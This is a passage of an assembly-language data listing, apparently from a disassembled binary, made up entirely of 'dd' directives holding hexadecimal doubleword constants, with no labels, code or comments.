		dd 70A0983Eh, 0BDF30146h, 0A7639915h, 482C2018h, 0C80AF4Ah
		dd 4A705BD8h, 519C00A9h, 81691F65h, 0B0245409h,	1C8F072h
		dd 0CB4ED616h, 50E97B21h, 0BE5BCCB8h, 1A3F8000h, 0B8D803A1h
		dd 543F20Ah, 9B376E56h,	8EACD30Ch, 0BBC4A0FBh, 5EE0F800h
		dd 6C3E97h, 795CAE3h, 65296198h, 20311A04h, 0DC84BBF4h
		dd 849DE10Fh, 1CC0B942h, 96E8A77h, 655E15A0h, 4689DCC0h
		dd 0C020094Bh, 0ACF4AFh, 2925F142h, 46970623h, 0C80016FEh
		dd 0D08FCBBFh, 69B7CD09h, 9C7C116Ch, 21072580h,	56E997h
		dd 873F69CAh, 0EF825466h, 7BAEC00Eh, 92D6016Ch,	953BF8F2h
		dd 397A0068h, 3DB4F3D1h, 2F008C7Bh, 0CC340E0Bh,	27D49A38h
		dd 1C709193h, 77ECCA97h, 21B0E000h, 50EC9BACh, 16B5DA0Eh
		dd 68F04165h, 3BECE8h, 0CC544F48h, 0FE01FF04h, 4EAD7AC5h
		dd 8B4039F7h, 4DA24D72h, 40009488h, 0F03A94B5h,	8C01C37Ch
		dd 7F2690FBh, 0F4401EB1h, 1D8F9B31h, 0C1CEA1EDh, 0D3EB847Ch
		dd 8668D494h, 801D7100h, 0F98EF5FCh, 443F00FFh,	7C32C56Ah
		dd 9E1C8C5Bh, 0E5C14135h, 9A80C877h, 0C6FC8071h, 16EA00CAh
		dd 0C305DD7h, 0CE000D49h, 6F0B5E2Ch, 14333D7Eh,	0E8C578B8h
		dd 0B1F0AD00h, 8F84B07Ch, 61B65A02h, 0D481E19Ah, 25D00B8h
		dd 25EE0BA0h, 0A7C29500h, 890D0835h, 0B22E163Eh, 8837007Fh
		dd 0F8707B36h, 3AEDA898h, 0DEC09087h, 93F028h, 7C791843h
		dd 44EE8B51h, 90A4564Fh, 26F46Bh, 7A11D737h, 7FCB8CC7h
		dd 200C9801h, 0FC8DD16h, 3DC060h, 2F9073FEh, 0D81D5C8Fh
		dd 462B3117h, 0C0276883h, 0A8FFBFh, 0EEECC620h,	8B7E69AEh
		dd 0BDC36400h, 348994EAh, 152C0973h, 38569D12h,	9C851980h
		dd 0B85A58E3h, 9AA31F9Bh, 23C40E8Eh, 0D8918D40h, 0D0055FA6h
		dd 0D23082ABh, 0F6FDC980h, 93FFAEEh, 36250822h,	0BF9CF8FEh
		dd 86AF9000h, 0E59CEAh,	788248A2h, 0F95DB820h, 31F39700h
		dd 919A11Dh, 67A0C78Ch,	0BD1840ACh, 54005C44h, 789F3F68h
		dd 706D7E3Dh, 112C0032h, 8B387DA9h, 0D40013FEh,	54943944h
		dd 725E4C4Dh, 0D7CD003Dh, 0B35B90BDh, 4A022366h, 48422B9Fh
		dd 38DC5C2Dh, 7875E789h, 0A3CFCFAh, 24580C6h, 87C49D3h
		dd 825E0776h, 412EAEE1h, 80953F5Dh, 1C70E850h, 719914C9h
		dd 83445F11h, 73DA93D0h, 0BD011505h, 10187FEDh,	5A60C02Fh
		dd 590141B8h, 33C012AAh, 30898117h, 5F816BFFh, 0D495ECB2h
		dd 1000C5ACh, 90F62288h, 1F89D629h, 0AC400ACEh,	0C5541C38h
		dd 0A7F0F9h, 0C02C6680h, 0D002F7FFh, 1DCACD57h,	0C45E87h
		dd 4B73050h, 0A0162B96h, 30A0E269h, 0C82E036Eh,	0B224FC6Bh
		dd 6C971100h, 0FB8623DDh, 0C594008Ch, 333CF279h, 78C0A30Eh
		dd 0C76A6209h, 0A2600CEh, 0C86003E7h, 2CBE9428h, 0AA0138A8h
		dd 0FF0A16D2h, 4D0EECCh, 0F1490BCDh, 94C05A52h,	8BE41D4h
		dd 3A21EB85h, 399D00EAh, 0D51493BAh, 12462607h,	703D5D57h
		dd 0C601C32Ah, 9A685801h, 2A289F26h, 97AFF8h, 0D7C3F9ABh
		dd 9596A14Dh, 1AA6E80h,	0E8FEA765h, 7D5B8353h, 51CD3054h
		dd 2FC729ACh, 8C9028B6h, 0BA00564Ah, 33315168h,	4382259h
		dd 0C6813547h, 0C986808Dh, 0E9005A11h, 325B566Fh, 0BE94A9h
		dd 7162451Ah, 98E7789Dh, 91DAC603h, 0D0C0E2DBh,	0D6AEFAh
		dd 0BEDDAF7Eh, 0E91A8658h, 0CAFE2D00h, 26FD46DBh, 12650327h
		dd 150750AFh, 23DEFA0h,	3F00B878h, 0C627BFFDh, 3BF887h
		dd 0B9AAD53Eh, 0CBB0E552h, 0E8DA0624h, 0E410F900h, 8DEB4Bh
		dd 98613AFEh, 0BB1CC59Dh, 936A6400h, 0B5A152E7h, 35C4A84Eh
		dd 12F0AB0h, 0CE89ECDh,	4808E6D4h, 14003492h, 6B402FB8h
		dd 10BF5Dh, 0E10B67D1h,	0A0DD6052h, 17511F3Fh, 0FB18D954h
		dd 7A49D18h, 6EBF55ADh,	40252505h, 0A6B0F1ACh, 3A035FFBh
		dd 0AAD259C7h, 72EFA389h, 0A6980021h, 0D1848C75h, 0E081956h
		dd 83EBCA9Ch, 1643C690h, 7544C780h, 92D4261Ch, 0C4256B41h
		dd 2980E957h, 334BF151h, 0A8067F45h, 0FCAD9B5Ah, 498CF20h
		dd 0E296FCCh, 3C8F0224h, 2739D103h, 6108AEF1h, 0D8B1215Bh
		dd 2FA3308Eh, 0DD187778h, 31F0432Ch, 26B81256h,	8B3440E7h
		dd 10B765F6h, 6DC70206h, 60081A2Ah, 0FF2821C6h,	6206A065h
		dd 89C9642Dh, 7A487990h, 5A98C1E3h, 0B0AA657Bh,	56663A18h
		dd 640C0090h, 17F2DB0h,	0CA751658h, 2C31EB00h, 0FD516E93h
		dd 0DE400047h, 0FA6FB852h, 8507F4D8h, 4C7E5058h, 0ED3A2680h
		dd 89EA0705h, 10C22444h, 5DAD9F9Ch, 9874031h, 20B8E9CFh
		dd 9AC29781h, 0CCE531BAh, 0F5003E01h, 766FCA45h, 1C149BC9h
		dd 1621F657h, 0D2CA0C8Ah, 0CA390438h, 5E0C8C31h, 0CC551E3Eh
		dd 0AA21D909h, 0D3003973h, 0C5AF6EC2h, 6441FD66h, 80CC58C8h
		dd 4BC98A7Eh, 0F54D2E07h, 25A66721h, 0C040D879h, 1702E907h
		dd 3AB3AD7Fh, 8008C08Ch, 2A431F20h, 0ABCD0327h,	0EDE08BD6h
		dd 6B014A53h, 0F789FD75h, 24D330B3h, 285BB8h, 3138AE90h
		dd 34000982h, 4947FED1h, 7EE6266Fh, 42CC00F5h, 2A54D71Fh
		dd 0CF00D8DEh, 9540F1FAh, 72330Ah, 12E2182Ch, 7BB75A26h
		dd 3FB2D000h, 84B46174h, 0AE752Dh, 0EB176879h, 64D01A1Eh
		dd 5034F000h, 5E977066h, 0BDC800ADh, 0C4D438D9h, 3072BBCDh
		dd 0B3067802h, 6320DD97h, 0AEB0A709h, 379B54Dh,	0C49962F5h
		dd 9307AB9h, 4D2D2149h,	52E00077h, 51ACE818h, 16203DD7h
		dd 81F7E9Ah, 0F74F966Eh, 8325008h, 2D0EEDAEh, 0D8CEA0C9h
		dd 2077D0A7h, 0F805EFA8h, 0AEE97644h, 5B5A24C0h, 0ADEE3086h
		dd 0FE30A748h, 40DC153Ah, 6668007Dh, 9A264245h,	9CC5AF9h
		dd 39D218Bh, 6E5C6720h,	0ECC5BF95h, 68FA3036h, 24AE1Fh
		dd 0D50BE235h, 66CFBC2h, 7AC1381Dh, 7DFABA00h, 722E7B69h
		dd 12B07D9h, 808574A2h,	0BE908E1Fh, 81B52Ch, 1B9D8800h
		dd 73EE350h, 4D2970BBh,	2A9A00D4h, 69009C47h, 9F8498AFh
		dd 0C13D17h, 1BC7E872h,	8D0DA9DCh, 1C78C926h, 819F401h
		dd 0F1DF712Ah, 5FE4BE6Ah
		dd 715AFC75h, 0F590071Dh, 0C374A4C5h, 49C33091h, 0DEB5F7B0h
		dd 0FE9E100h, 3FB38031h, 23AA02D1h, 241C6A54h, 0ED030496h
		dd 0CEE75713h, 952CF032h, 0B91F00DCh, 0FF6A331Dh, 6338CF1Ah
		dd 0D577F53Fh, 9AF88000h, 6213EC6Fh, 48106247h,	1E08EABh
		dd 0CD002084h, 1C692643h, 32553D5h, 0D69F8237h,	20027B24h
		dd 0B3B95654h, 23209E7Eh, 340F576Bh, 0F832CF24h, 7CAB7CB9h
		dd 1908900Eh, 9934692h,	0DCF180B0h, 13BC0EB3h, 1EA9838h
		dd 59FBF244h, 805364B4h, 8F1692F8h, 1EF94D7Bh, 40CF081Ah
		dd 0D8886DCAh, 0A401B2C8h, 0DEAD9E41h, 9880C560h, 0B11AB42Eh
		dd 0A0A869EBh, 0D400738Ah, 6FD0573Ah, 7426EF07h, 1AC23070h
		dd 0D47B9520h, 0D5F57F00h, 61F101CBh, 0B40851D7h, 9E8FBC10h
		dd 0CC11CE67h, 0FBCE0AAh, 0CFE094BBh, 87791B27h, 48714260h
		dd 67E3593h, 5CED084Ah,	0F148698Eh, 0DD1B765Bh,	0F7E195E6h
		dd 14B29F41h, 3884F450h, 9A7D01A9h, 0A366E67Fh,	7E089847h
		dd 5806331h, 23C43A9h, 0C64FC0B7h, 173061F0h, 325AA142h
		dd 0B5B0A9E6h, 2630FDFDh, 558A00AAh, 7AE9F69h, 233A189Ch
		dd 0CC9B8F02h, 80D058B3h, 28E4180Ch, 877FB1D9h,	168F9D00h
		dd 0ABB8D2C7h, 0B9340049h, 78B59C18h, 6F07D7ADh, 243674DEh
		dd 0C9C0FC2Ah, 21AD800Eh, 0B891677Fh, 0EB1EA00h, 0BC2D9AC9h
		dd 62ED7B00h, 0E1819983h, 0DF3F31D4h, 0FD989590h, 0F523CC6Bh
		dd 8CEF9E26h, 0E62B500h, 7FB1A7Bh, 0D51989E6h, 30D45782h
		dd 0F7332A44h, 2C503972h, 4082988h, 121ABDDh, 0A3C5451Ch
		dd 0EC60A0B8h, 61F4F255h, 9FB85096h, 0AA1E6048h, 644045CDh
		dd 0D92BABF6h, 5B5C153Dh, 990050E2h, 0DF0DDC8h,	61CE0FB4h
		dd 94426018h, 0A8D4EBC3h, 4EE3A4h, 1CFBAD14h, 0BDD7FFFAh
		dd 86C13Dh, 9C83C3A5h, 153C52E3h, 0F473B282h, 5D95EE00h
		dd 4FD72F4Dh, 0B7D0400h, 0E1F963ACh, 0AB2D1F34h, 0E96C0770h
		dd 515A0086h, 0D4900685h, 99188728h, 0EDF87F06h, 481988C9h
		dd 8C728C3Ch, 3BD4A202h, 19702857h, 6B2A10F6h, 6D2705D4h
		dd 14EDE6BFh, 77E85894h, 0E538038Ch, 0AEC36F58h, 68168890h
		dd 28EB4A12h, 0F70B1841h, 0E0208B0Ch, 11EA304Bh, 3A2E9219h
		dd 0F06B1C2Bh, 5329D028h, 1031F01Dh, 0E700F913h, 0EC2A7ED4h
		dd 0AE37F016h, 0B480B905h, 1EC52953h, 241E2A4Bh, 8E6B603Ch
		dd 86124670h, 4415120h,	7195EBF3h, 88173021h, 827404C9h
		dd 840EBD60h, 119FAD23h, 0A5DE00E5h, 15558F0Eh,	3283015Ah
		dd 93DDAAC3h, 6C88FF24h, 71C14F3Bh, 0AC5F8234h,	0CCD1D848h
		dd 9421F609h, 895F9A01h, 55C5040Fh, 0CD9DB70h, 2DF7D4ECh
		dd 4806EAD0h, 2A524ADAh, 0DE950AA1h, 5ACE1CCh, 481C09A8h
		dd 0B6C08564h, 46AD830Eh, 0B72287h, 0F20E9ECFh,	2C08010Ch
		dd 0C9FD721Ch, 0BF789483h, 0C4594068h, 7B42401Bh, 7473DC12h
		dd 99E99401h, 18BF0906h, 0E4C64B0Ch, 0E730E159h, 5321E105h
		dd 601A58DFh, 0B48E9706h, 1007B8DCh, 52E9BAF1h,	0CEC00287h
		dd 0A8822363h, 0F0D479CCh, 3A80D21Dh, 0E123FCh,	3FF43241h
		dd 18031703h, 75EB891Bh, 6860067Ah, 88DB608Eh, 0A6603664h
		dd 39D4A460h, 11785723h, 6D2C00DEh, 0AC9A28D4h,	4A1100CCh
		dd 0F8466A15h, 8603C18h, 517ABBF9h, 58600FBh, 8133E96Bh
		dd 24F18367h, 9B06DA00h, 0F13EC411h, 0D83948E0h, 0F9924880h
		dd 345285C6h, 30B0F2E8h, 81000443h, 0E70782DCh,	2C53C140h
		dd 85F0CCBFh, 0D00F6389h, 3B8EA928h, 2150E401h,	881001CEh
		dd 9AECDE82h, 44EB2FDCh, 90D44DB3h, 4022DFCh, 32F210F4h
		dd 28B17B00h, 680FAB74h, 56F0060h, 0E75B4A02h, 1E483FCCh
		dd 95DD1360h, 0A4EDD420h, 64BD40A7h, 4F53F21Fh,	19D181FEh
		dd 696FE057h, 0A0267ADDh, 0CA5F8001h, 0C485688h, 98468845h
		dd 0EF505F00h, 1F0D0860h, 103400C4h, 0E89964A6h, 8200B21Bh
		dd 953C24A0h, 496D132h,	7B630C46h, 1FD8C0CCh, 8C54BF54h
		dd 5B128790h, 14047C3Fh, 0E88E3453h, 0DBC7F888h, 771F5BF1h
		dd 0D697488Ah, 71290930h, 0D0063427h, 3168D145h, 0CB8C4701h
		dd 0FB87193Ch, 0D000F344h, 574FA91Fh, 785E4DBFh, 22F2A306h
		dd 3724401Bh, 0C640B8DFh, 955669h, 3A8B4374h, 6B78EE60h
		dd 8A4867E8h, 9C987D5Ch, 49F62E30h, 24373EE1h, 2E4220Ch
		dd 1446C3A1h, 1FB87A27h, 0DDFB80CAh, 0EA2BE09Fh, 0F2CDBC00h
		dd 0A88E40D5h, 0D6AD0CA6h, 0F3D8DE54h, 0C3669505h, 0F4004F97h
		dd 102C50D4h, 0D150B14Ch, 1DE18C7h, 0B1E65331h,	247A4DD0h
		dd 0E100A940h, 632949A4h, 0F8AD9DFh, 31DD702Fh,	4E109434h
		dd 729B0346h, 7AF8E16Eh, 0EB873E39h, 0D207F401h, 864EECE3h
		dd 25AD4B19h, 0B134F830h, 18B77904h, 1EE40162h,	2D99A790h
		dd 952EEC0Bh, 0B24AF271h, 3CBE7842h, 1DC54092h,	4F9C0057h
		dd 1077F13Ah, 0F300D186h, 0CA720C32h, 2A21E9A2h, 0BB4BDF4h
		dd 34B06AB5h, 0B791C497h, 9D4D6B80h, 0F000BBADh, 208FF438h
		dd 11C5A3h, 1522B683h, 0B7A60FE9h, 3C23CB24h, 2164A209h
		dd 5AC98E58h, 7F4B0160h, 72A8A465h, 91F124E8h, 0CE794318h
		dd 99EC47A5h, 6480B93Ah, 1A871BE9h, 538DA30Bh, 392CB09Ch
		dd 9AA411A9h, 806C8837h, 99A98456h, 653F76B8h, 9FCC1FE3h
		dd 842A2426h, 10B40640h, 11AD028h, 81D8E7B3h, 15DC8DD2h
		dd 7BE000FEh, 9AE1D0CBh, 0D09E63Fh, 11D710DFh, 4865EFF0h
		dd 24608C20h, 0C7CC866Ch, 0C358A46Eh, 0EDE0197Bh, 7B169277h
		dd 320262CDh, 5A67321Eh, 0B87460E0h, 9A02ECCAh,	0F961C403h
		dd 16ED0194h, 20333CD9h, 0C63EF584h, 0D787E006h, 19073Bh
		dd 6FE8067Dh, 5BF7A54h,	0B744B606h, 214D3Bh, 9074ED71h
		dd 10AF8C6Dh, 40012E79h, 0A4806032h, 3086C9h, 314B61ECh
		dd 39ABDD82h, 54CA263Ch, 0A2D6A04Eh, 4C97A4ECh,	6D09C0ACh
		dd 40A6BFh, 2B30D49Bh, 78EC19E5h, 0C32528C2h, 538E1524h
		dd 3A80E485h, 8F9A73A9h, 6178448Ch, 74A92207h, 0DB20ECB3h
		dd 54EA6DCh, 6FA54532h,	71E80015h, 7887795Ch, 0C648E4A8h
		dd 98922531h, 0C200EE32h, 0F890E8CDh, 0BBA3C51Ah, 0B32841A0h
		dd 0D4047D18h, 6FA05738h, 0A6022F2Ch, 200317D4h, 8199E052h
		dd 0DD1305ECh, 0C2CF259Bh, 7F22723Ch, 3E886108h, 986CE8F6h
		dd 0A46A01C7h, 46C2AA86h, 98080408h, 375380F3h,	2C239363h
		dd 0A1FF2900h, 7BDC94A2h, 6AE8C041h, 998370D8h,	368820A7h
		dd 7C9AC150h, 8ED45413h, 0C1D888A0h, 6029C3D3h,	69CB1BB8h
		dd 0D2045748h, 8128C2AAh, 0E90ED333h, 0BB18A7ADh, 0B2D388h
		dd 0B870D90Eh, 0FE84ECA1h, 23554A25h, 0A2DEAB48h, 4D600CD3h
		dd 0FE856C9Ch, 2C85677Ch, 0A8041C50h, 667C3037h, 0FC80C740h
		dd 0DB2DCB00h, 1C33CD1Eh, 50461E3Eh, 801B9D31h,	0EDC13257h
		dd 900667Ah, 29CC92F3h,	2CB356h, 0C393FE0Ah, 0D360C82Bh
		dd 9B627E00h, 365C8786h, 0C4760088h, 0D1D02589h, 1C0091A5h
		dd 0D968CE2Ch, 0A4245Ah, 0B4342F67h, 5E72D8AEh,	0BEA15500h
		dd 77DCFD06h, 548300DBh, 0DD22B87Fh, 0EE7E05F2h, 8DC7BB00h
		dd 143CCC15h, 0D0DC07E4h, 80B4CB2Fh, 0F346F96Fh, 0B09D2007h
		dd 6AE095ACh, 0C0F81DA6h, 328805E8h, 4D00662Bh,	7ECB0A0Fh
		dd 296CB1h, 62A79CCCh, 98972D77h, 9A5BBE1Fh, 367B0100h
		dd 0FA2527ADh, 3216015Eh, 0FAC32AA4h, 87A0BC3Bh, 4C64C8A1h
		dd 50FBFED0h, 7135004Bh
		dd 295AD775h, 3B007097h, 5D493F21h, 0CF8FFh, 67D22F98h
		dd 761DD60Fh, 0AC6F7C75h, 5E9A00D0h, 0F8EF439Dh, 0EA7A87h
		dd 8FCDA678h, 7F11F87Dh, 4754618h, 1242331h, 646633FFh
		dd 7005E4D9h, 0F200869Eh, 2C3AE272h, 3D6961h, 0BC122A1Fh
		dd 94747854h, 9C006EF6h, 60345D3h, 0FB13A9h, 79B64381h
		dd 0B74BBA10h, 91AD3E00h, 244C61B9h, 80BE01EBh,	7D0CDDF4h
		dd 548ED89Fh, 6094040Ah, 0A009C10h, 0A5866127h,	0DC74F1h
		dd 9A7CCC73h, 95095759h, 212A3A0Eh, 1447C0B7h, 40754A9h
		dd 1A9F5C5Dh, 291FC02Ch, 2301768Fh, 4FFC6862h, 3080208Bh
		dd 0CFAD41A0h, 0FA759CECh, 9F86D500h, 36AB307Fh, 43140071h
		dd 1863F9C2h, 0F100A8FDh, 37B9B003h, 0F9A3225h,	1F48F29Eh
		dd 6FD54380h, 2D0076FCh, 0F7250EE5h, 0E0426321h, 0CF78BBh
		dd 919C2427h, 0E40ED4A8h, 1D8C9A04h, 0C6C05853h, 1F97A1h
		dd 29B7617Dh, 3D402EA8h, 6A9B1400h, 2418FEEh, 4C716Dh
		dd 35E05465h, 0D4A9C186h, 7D95DEA0h, 5C333E78h,	0D8D1D805h
		dd 30FB57D2h, 8CDE3A8Eh, 0D005D6Ah, 6BC54822h, 0B8BA29FEh
		dd 9B600D1h, 5EC70EE6h,	6C1EC45Fh, 2026C18Fh, 7562B780h
		dd 0E8944Eh, 0D5AC86BBh, 0B71F229h, 0A3E2C00Fh,	5E97A052h
		dd 498C92h, 0BE87FCE9h,	36BD2D79h, 0C34B6006h, 0C984EEEh
		dd 17737675h, 0FD00539Ch, 0A9BDD924h, 0F0676294h, 8F100F0h
		dd 0D54C1B58h, 50606AFAh, 80378538h, 8C900Fh, 7F600827h
		dd 7A8AD6F5h, 1A76F300h, 6C44BC4Dh, 0F094015Fh,	9F0F61A5h
		dd 4F23C445h, 0FD79F409h, 0BA54A050h, 1ADC0DCh,	2D70E6F6h
		dd 0C8F74A98h, 0A100D062h, 6EB32287h, 75FB4CC2h, 0E8610170h
		dd 8C90EE9Eh, 419840DCh, 3E06F70Ah, 919FD7A5h, 67C70098h
		dd 0B5472B39h, 20484959h, 986F04FEh, 0C80F863h,	395825C9h
		dd 803BCFD8h, 27D4DE04h, 0EB880BFh, 29C07AE2h, 0C129111Ch
		dd 1D1F00A6h, 443152DFh, 330179F0h, 6368E218h, 3880D18Ah
		dd 0D30C651h, 0DD0073C5h, 2292577h, 0AD831Bh, 85714198h
		dd 5FC090C8h, 0AB60100h, 6CD70F5h, 0DC0B388Fh, 2D146600h
		dd 0AC770852h, 170331F4h, 0FBFD54F0h, 6080A480h, 0FAD41ED6h
		dd 20E15815h, 1DA97800h, 17BFAC4h, 0D30003F0h, 633DFB69h
		dd 9CA862h, 918DB5FDh, 0B438C209h, 3EE2940Fh, 43FEA042h
		dd 748AA3h, 0EAB8AF7Ch,	0B47ED251h, 0C5766300h,	0AC804E27h
		dd 0CD740099h, 93DDBC2h, 0DA006042h, 0B7B9776Fh, 0FA2E6Ah
		dd 75560108h, 0F03ED297h, 0B8570400h, 0E54E9379h, 1C64E536h
		dd 0C0D0A3DEh, 926C01h,	4BD342F5h, 24B158CAh, 0DD0A0200h
		dd 0E4557881h, 57B5003Dh, 8260E77h, 82017D73h, 618CD0A1h
		dd 6C21B9FAh, 0D96EE340h, 6B00141h, 0E217C344h,	7CFAC4FFh
		dd 0D800B490h, 3ECB6174h, 19AE0715h, 89A9F19Fh,	9C683031h
		dd 464DE400h, 6673811Ch, 0F48803C4h, 83B8CF8Dh,	0C2E96900h
		dd 0F3C5A9A2h, 60BB00D9h, 0F9917D26h, 44C9970h,	0D4AC0110h
		dd 655071Ch, 0C07D109Fh, 0D6D99E08h, 0ED3BD0E4h, 20E900D8h
		dd 0ACAC7DBh, 5543EDFh,	3A9AF82h, 8C48BEE5h, 0B104F1AAh
		dd 5186FE10h, 1D28BCC0h, 93240067h, 66E32643h, 9400DD85h
		dd 99AE6AF7h, 1C1CC71h,	8C2406D4h, 60B621C2h, 0A12E746Fh
		dd 12035253h, 0D7DFEC51h, 90E960B3h, 1C810E11h,	43F54528h
		dd 0EA40AB01h, 0D87C96F9h, 631BC6D2h, 0DB801630h, 47BCD1F7h
		dd 0F67D1180h, 45730A9Fh, 0A2812900h, 70FDE8EEh, 116900A5h
		dd 0D8676FC1h, 2F07BE41h, 64340249h, 13302297h,	51BC683h
		dd 0F558B1B2h, 23C0AA15h, 0E41EA59Fh, 72CF003Bh, 0BAC4B9D5h
		dd 0FA03E94Dh, 0C1D8BF07h, 172E8958h, 8191C0h, 0B3F31F47h
		dd 7B62DD27h, 0BDC43800h, 453AFE9Fh, 4F8100B9h,	0AEC6E9Bh
		dd 7A1DDD0Fh, 68C73C88h, 90C1D5A9h, 0A730CEC6h,	0E052005Ah
		dd 0F9AA1879h, 0F40094D4h, 22112C47h, 0F3D314h,	0EA165FB9h
		dd 780869EFh, 0B585F000h, 0AAF2DA9Fh, 24500145h, 22EE96BDh
		dd 0CE09D09Bh, 4DB50A00h, 897516FDh, 0AF350F50h, 0A64F90D3h
		dd 0C42BFAA0h, 322C44D7h, 0EF005009h, 0BFFE2553h, 9D470008h
		dd 8C22D6FCh, 0FA008231h, 2B74A6B2h, 1813665h, 3B03A8CDh
		dd 9E4E0C64h, 73806C68h, 85FD4B87h, 1B80732h, 50763E4Ch
		dd 0E7587828h, 0AD239900h, 9B90FCB1h, 12BE007Eh, 2AC027D6h
		dd 3590C3C1h, 0F7F64600h, 6B1F16BFh, 0D91C28F4h, 0DD3C01C4h
		dd 269A9176h, 1F2E8BBh,	21C76F00h, 78DEED44h, 42AA0F6Bh
		dd 0D9A02BFBh, 61D81C87h, 6E004673h, 7916068Dh,	0D12E40h
		dd 99D3C5FEh, 8AB84B1Dh, 2D445B18h, 6D8C69h, 0C6E9C117h
		dd 776A972Fh, 0CB19A101h, 0B29E15C9h, 93CA2980h, 0E0440A1Dh
		dd 56622918h, 12FF6E19h, 0C12C19h, 35513934h, 361826CEh
		dd 7DD988E6h, 8C1107F7h, 90D3E98Eh, 3A66DF10h, 988383Ch
		dd 0A160C4h, 0CA13911Dh, 0A34C00B5h, 4DB42E53h,	800E55C5h
		dd 40AEC917h, 0CDFF1054h, 0F8962881h, 0ADDEEABh, 77404FBCh
		dd 70DF00CCh, 0CAB72DC2h, 318DE48h, 0E8FFABA5h,	72110067h
		dd 308BB8BDh, 0A774D4CDh, 6C952700h, 0CB5F5D93h, 0A80100C5h
		dd 0C3E3127Fh, 0E805BC56h, 9F9E626Ah, 19D0F400h, 0C07B26F2h
		dd 0BEE49870h, 1F001051h, 0D9E8C153h, 902F46DCh, 0B07D4878h
		dd 1DFAB20Eh, 6042E00Fh, 0C409C2Bh, 2700C459h, 0B56956F1h
		dd 480C8486h, 2784C65h,	0CE3B8B05h, 0AC800970h,	0B301CDC7h
		dd 82E69A3Fh, 0F08133A8h, 5B0C4060h, 0AAFD0085h, 0B8CDD31Bh
		dd 4AF05F4Eh, 0A8AD4300h, 0BEBA1D05h, 7BDA00F1h, 7E08A58Ch
		dd 0CCFACD18h, 0E1B2D200h, 45FDDC51h, 9CCE017Ch, 0E6909BD1h
		dd 4E1130FEh, 0EE730600h, 1FC8C956h, 0CD58000Fh, 0C3A3D9Ch
		dd 0E784CFDh, 20254A00h, 1A219481h, 0A376E5h, 5C3F68F4h
		dd 6AD95E23h, 0A0075B00h, 78E41F0Fh, 9F90048h, 9D270E32h
		dd 58E6F157h, 0CC99DF00h, 43F7D605h, 0EBE06Ch, 0E15A263Ah
		dd 6B312F5h, 0A195DB00h, 0F348978h, 834C0622h, 31B26EA5h
		dd 3D46AB00h, 0AA49B4C3h, 0AC560093h, 1D634BECh, 0CF00DE1Eh
		dd 2B30176Bh, 8E9D26h, 0D889B918h, 0B34F5AEBh, 50ECEA09h
		dd 0DABF0791h, 0DDA51A80h, 0C06079CEh, 0B1AA4D60h, 32243796h
		dd 9006AA9h, 0F40192DDh, 0AB0B0048h, 0A7071DA6h, 75004291h
		dd 49BF9380h, 0D8DE96h,	175DC0CDh, 2C6FA7B2h, 391C4E00h
		dd 652A6199h, 4696079Dh, 0A3321D9Ah, 1280E57Bh,	0E99057C0h
		dd 51019EEAh, 84305C2Ch, 22C0271Dh, 19E8FFA6h, 0A8B0C6h
		dd 3226FF0Eh, 0FE1B9212h, 0FD87810Eh, 0A0C28B9Ch, 22DE99D2h
		dd 0F4890039h, 0AFF6686Bh, 5A003BBFh, 0A72412F1h, 1EEAFF84h
		dd 0C016F27Eh, 30F3E60Ah, 9200876Dh, 0CB3BEF65h, 0EC55B1h
		dd 5B6469A7h, 4EA4419Ch, 0BFE46238h, 0E3FFACD9h, 94FEE200h
		dd 995AA2h, 5DF3B5BAh, 0A36682B0h, 35E36F00h, 6D53786h
		dd 5F20036Eh, 65ABEC19h, 2625ADB0h, 3ADFE103h, 0F179D2D5h
		dd 0EFDC7770h, 3D80F41h, 0F420DA66h, 5B05AE98h,	400769FCh
		dd 0FE411E89h, 0CDBA31F0h, 7BB7127Eh, 183C0093h, 0E717B36Ch
		dd 1E980498h, 61B8D16h,	9D6E06EEh, 3E002981h, 8A6F5EB6h
		dd 9AF9FFh, 20E3C6CEh, 0A353C11Ah, 2326BB60h, 718E001h
		dd 0D7E99845h, 0BF5C208Eh, 1E1CDA6Ah, 0BE00D252h, 0CEDB0F6Eh
		dd 147AFE91h, 0ECE411BDh
		dd 63F26000h, 0A2DE1F2Dh, 694A253Dh, 0B5D00018h, 69F5AFEh
		dd 0E7F4122Fh, 6224122Ah, 0DD004063h, 0A92C9743h, 5D4F0C51h
		dd 0BF18A8D4h, 9EEDB11Dh, 0C8EC5A04h, 63393881h, 992100CFh
		dd 64B21047h, 0AA002F97h, 9A16B5BCh, 780E5CF4h,	0B9DD0082h
		dd 0E0D573E1h, 8E00013Dh, 5924A4A2h, 208616h, 17CE7484h
		dd 0C29467ECh, 0E7801000h, 0FBB82DEFh, 0FD32390Fh, 0D5FC4A80h
		dd 0D99F47E6h, 80781B38h, 614F3C67h, 68AAE8h, 0B213866Ch
		dd 0F152509Eh, 0D76E6B00h, 8E49D5FAh, 0BC84A14Eh, 4DE4DC24h
		dd 3D009805h, 22F4FEB0h, 0B31C81D3h, 5DC9DB38h,	80C20068h
		dd 0A86005h, 0AD922BF8h, 0E28D6D52h, 0A0A0D8E0h, 4B1CCB46h
		dd 0E580CE5Ch, 7519E898h, 9F102C0Fh, 1602824h, 0F160C7F2h
		dd 0DC2DD824h, 4498D03Eh, 72DA7910h, 0CF394852h, 0DE55C40Fh
		dd 0CDB58480h, 410CD389h, 31ED0D98h, 0E7520082h, 0AA1CA114h
		dd 7D784297h, 880030FEh, 9257CAFEh, 5890EE89h, 1E75D722h
		dd 0D40B6Fh, 6A9C8646h,	827E58FAh, 81138538h, 0CED8D199h
		dd 0A02B04C1h, 581E57F5h, 0D580A122h, 6D41FFCBh, 27A81305h
		dd 3A92F0E0h, 0DE43AB0Fh, 8C8480B1h, 0F515291h,	4D1CBC08h
		dd 65069769h, 3C24A8ECh, 0A70F8CD3h, 80C8A919h,	887711D0h
		dd 374500FAh, 0FF3FEBD4h, 0A516229Fh, 800231C9h, 60B20D39h
		dd 16CC860Bh, 2ADC60h, 9C25B3ABh, 0F8C0B09Bh, 0DEE7CAD5h
		dd 8811003Dh, 52047C34h, 8F005A53h, 9B238AF2h, 3E0681D9h
		dd 0E118ECB7h, 21648843h, 0C7322214h, 837400FCh, 75AF9E4Eh
		dd 0A74A00E9h, 288035B2h, 1605CE45h, 0A9F8E1C9h, 58C61780h
		dd 2F917E33h, 0A858F74Dh, 60EF1F7Dh, 0D60018D3h, 0C34B2F2Eh
		dd 0C0C6DE97h, 0A359D1B8h, 4C0BD82Bh, 44B8FCh, 32C1C724h
		dd 99532841h, 9E5500E0h, 57A0AB9h, 260FF67Dh, 4025923Ah
		dd 525BC398h, 8D170084h, 3B69F271h, 41060312h, 86E877CBh
		dd 45513590h, 9B948010h, 0A008207h, 0BE01B06Eh,	0F06387D5h
